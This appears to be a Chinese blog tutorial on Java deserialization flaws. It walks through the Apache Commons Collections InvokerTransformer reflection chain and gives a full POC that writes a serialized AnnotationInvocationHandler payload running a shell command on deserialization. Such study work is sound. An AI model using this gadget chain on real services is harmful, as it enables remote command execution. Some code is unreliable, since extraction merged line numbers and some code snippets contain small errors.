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零、Java反序列化漏洞

java的安全问题首屈一指的就是反序列化漏洞，可以执行命令啊，甚至直接getshell，所以趁着这个假期好好研究一下java的反序列化漏洞。另外呢，组里多位大佬对反序列化漏洞都有颇深的研究，借此机会，努力学习，作为狼群中的哈士奇希望成功的继续伪装下去，不被识破，哈哈哈哈！！！

参考文档：感谢所有参考文献的作者：

1、https://www.cnblogs.com/bencakes/p/6139477.html

2、https://www.cnblogs.com/ssooking/p/5875215.html

3、https://www.cnblogs.com/xdp-gacl/p/3777987.html

一、Java的序列化与反序列化：

在这里我们直接自己定义一个类，然后对这个类的对象(一个实例)进行序列化和发序列化测试。

1 //引入必要的java包文件

2 import java.io.*;3

4 //创建测试类，注意要继承Serializable接口

5 class serialdemo implementsSerializable{6 public static intnumber;7 public serialdemo(intinputnum) {8 this.number =inputnum;9 }10 }11

12 //主类

13 public classtest{14 //测试主类

15 public static void main(String[] args) throwsIOException, ClassNotFoundException {16 //主函数入口

17 serialdemo object = new serialdemo(100);18 FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象

19 ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象

20 outputstream.writeObject(object);//把类对象(实例)序列化进入文件

21 outputstream.close();22 FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象

23 ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化24 //通过反序列化恢复对象obj

25 serialdemo object2 =(serialdemo)inputstream.readObject();26 System.out.println("反序列化后的对象的值：");27 System.out.println(object2.number);28 inputstream.close();29 }30 }

既然自己定义的类都可以了，那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下：

1 └─[$]>java test2 反序列化后的对象的值：3 100

二、对java序列化的详解：

1、api定位：

1 /*

2 java.io.ObjectOutputStream -> writeObject()3 java.io.ObjectInputStream -> readObject()4 序列化把对象序列化成字节流5 反序列化读取字节流反序列化对象6 */

2、实现Serializable和Externalizable接口的类才能序列化与反序列化。

3、java的反射机制：

/*在java运行状态中

1.对于任何一个类，都能判断对象所属的类；

2.对于任何一个类，都能获取其所有的属性和方法；

3.对于任何一个对象，都能调用任意一个方法和属性；*/

三、反序列化的漏洞原理概述：

1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能，攻击者可以通过构造特定的恶意对象序列化后的流，让目标反序列化，从而达到自己的恶意预期行为，包括命令执行，甚至getshell等等。

2、Apache Commons Collections

这是开源小组Apache研发的一个Collections收集器框架，提供诸如list、set、queue等功能对象。这个框架中有一个接口，其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数，这个接口类是InvokerTransformer。这个架构的广泛使用，也导致了java反序列化漏洞的大面积流行。

3、java执行系统命令：

1 //命令执行函数

2 public void test() throwsIOException, InterruptedException {3 Process process = Runtime.getRuntime().exec("whoami");4 InputStream inputstream =process.getInputStream();5 BufferedReader reader = new BufferedReader(newInputStreamReader(inputstream));6 process.waitFor();7 if (process.exitValue() != 0) {8 //说明命令执行失败9 //可以进入到错误处理步骤中

10 }11 //打印输出信息

12 String s = null;13 while ((s = reader.readLine()) != null) {14 System.out.println(s);15 }16 }

简介：

Runtime.getRuntime().exec("command_string");

回显呢：

Process process = Runtime.getRuntime().exec("command_string");

InputStream inputstream = process.getInputStream();

BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

System.out.prinln(reader.readLine());

把上面结合起来就是序列化的打法。

四、关于反射链

以前一直不理解反射链是什么定西，现在我们来看看接口源代码：

我们来理一理这一段：

开始：

可以看出来这个方法，属于一个对象，输出另外一个对象，完成了类型的转换。同时这个接口还可以串联完成一系列的转换，构成反射链。

Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下：

1 public class InvokerTransformer implementsTransformer, Serializable {2

3 ...4

5 /*

6 Input参数为要进行反射的对象，7 iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型8 iArgs为对应方法的参数9 在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数10 */

11 publicInvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {12 super();13 iMethodName =methodName;14 iParamTypes =paramTypes;15 iArgs =args;16 }17

18 publicObject transform(Object input) {19 if (input == null) {20 return null;21 }22 try{23 Class cls =input.getClass();24 Method method =cls.getMethod(iMethodName, iParamTypes);25 returnmethod.invoke(input, iArgs);26

27 } catch(NoSuchMethodException ex) {28 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");29 } catch(IllegalAccessException ex) {30 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");31 } catch(InvocationTargetException ex) {32 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);33 }34 }35

36 }

只需要传入方法名、参数类型和参数，即可调用任意函数。

在这里，我们可以看到，先用ConstantTransformer()获取了Runtime类，接着反射调用getRuntime函数，再调用getRuntime的exec()函数，执行命令。依次调用关系为： Runtime --> getRuntime --> exec()。因此，我们要提前构造 ChainedTransformer链，它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数，进而执行命令。正式开始时，我们先构造一个TransformeMap实例，然后想办法修改它其中的数据，使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

五、poc原理分析：

参考大牛博客，给出一个原理解释知识点

1 ConstantTransformer2 把一个对象转化为常量，并返回。3

4 InvokerTransformer5 通过反射，返回一个对象6

7 ChainedTransformer8 ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer

不得不说上面大牛博客分析的大段的代码原理我基本都不懂，因为不是java程序员的我对此真是摸不着头脑，但是我们可以做如下总结：

1 /*

2 1、java反序列化可以远程执行命令。3 2、java执行命令用到Runtime.getRuntime().exec("whoami");4 3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化，形成反射链。5 4、ConstantTransformer可以把对象转换为常量返回。6 5、ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer7 6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行8 */

POC的思路：

1 /*

2 1)首先构造一个Map和一个能够执行代码的ChainedTransformer，3 2)生成一个TransformedMap实例4 3)实例化AnnotationInvocationHandler，并对其进行序列化，5 4)当触发readObject()反序列化的时候，就能实现命令执行。6 POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发7 */

分析大牛poc核心代码逻辑：

1 /*

2 核心逻辑表达式：3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");4 主函数中：5 1、定义一个要执行的命令字符串：String commandstring = "whoami";6 2、定义一个执行逻辑：7 Transformer[] transformers = new Transformer[] {8 new ConstantTransformer(Runtime.class),9 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),10 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})11 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})12 }13 3、执行逻辑转化操作(ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作)：14 Transformer transformedChain = new ChainedTransformer(transformers);15 4、后面是关于不关心的东西，写死即可：16 Map BeforeTransformerMap = new HashMap();17 BeforeTransformerMap.put("hello", "hello");18 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);19 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");20 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);21 ctor.setAccessible(true);22 Object instance = ctor.newInstance(Target.class, AfterTransformerMap);23 File f = new File("temp.bin");24 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));25 out.writeObject(instance);26 */

27

28 //引入必要的java包文件

29 importjava.io.File;30 importjava.io.FileInputStream;31 importjava.io.FileNotFoundException;32 importjava.io.FileOutputStream;33 importjava.io.IOException;34 importjava.io.ObjectInputStream;35 importjava.io.ObjectOutputStream;36 importjava.lang.annotation.Retention;37 importjava.lang.reflect.Constructor;38 importjava.util.HashMap;39 importjava.util.Map;40 importjava.util.Map.Entry;41

42 //引入第三方包文件，也就是关于apache的那几个包

43 importorg.apache.commons.collections.Transformer;44 importorg.apache.commons.collections.functors.ChainedTransformer;45 importorg.apache.commons.collections.functors.ConstantTransformer;46 importorg.apache.commons.collections.functors.InvokerTransformer;47 importorg.apache.commons.collections.map.TransformedMap;48

49 //主类

50 public classPOC_Test{51 public static void main(String[] args) throwsException {52 //定义待执行的命令:

53 String commandstring = "whoami";54 //定义一个反射链，确定预定的转化逻辑

55 /*

56 定义一个反射链的方法：57 Transformer[] varitename = new Transformer[] {58 new ConstantTransformer(Runtime.class),59 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),60 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})61 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})62 }63 */

64 Transformer[] transformers = newTransformer[] {65 new ConstantTransformer(Runtime.class),66 /*

67 由于Method类的invoke(Object obj,Object args[])方法的定义68 所以在反射内写new Class[] {Object.class, Object[].class }69 正常POC流程举例：70 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");71 */

72 newInvokerTransformer(73 "getMethod",74 new Class[] {String.class, Class[].class},75 new Object[] {"getRuntime", new Class[0] }76 ),77 newInvokerTransformer(78 "invoke",79 new Class[] {Object.class,Object[].class},80 new Object[] {null, null}81 ),82 newInvokerTransformer(83 "exec",84 new Class[] {String[].class},85 newObject[] { commandstring }86 //new Object[] { execArgs }

87 )88 };89

90 //transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作

91 Transformer transformedChain = newChainedTransformer(transformers);92

93 //BeforeTransformerMap: Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict94 //Map<String, String> BeforeTransformerMap = new HashMap<String, String>();

95 Map BeforeTransformerMap = new HashMap();96 BeforeTransformerMap.put("hello", "hello");97

98 //Map数据结构，转换后的Map

99 /*

100 TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。101 第一个参数为待转化的Map对象102 第二个参数为Map对象内的key要经过的转化方法(可为单个方法，也可为链，也可为空)103 第三个参数为Map对象内的value要经过的转化方法。104 */

105 //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));

106 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);107 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");108 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);109 ctor.setAccessible(true);110 Object instance = ctor.newInstance(Target.class, AfterTransformerMap);111 File f = new File("temp.bin");112 ObjectOutputStream out = new ObjectOutputStream(newFileOutputStream(f));113 out.writeObject(instance);114 }115 }116

117 /*

118 思路:构建BeforeTransformerMap的键值对，为其赋值，119 利用TransformedMap的decorate方法，对Map数据结构的key/value进行transforme120 对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行121

122 执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)123 利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()124

125 */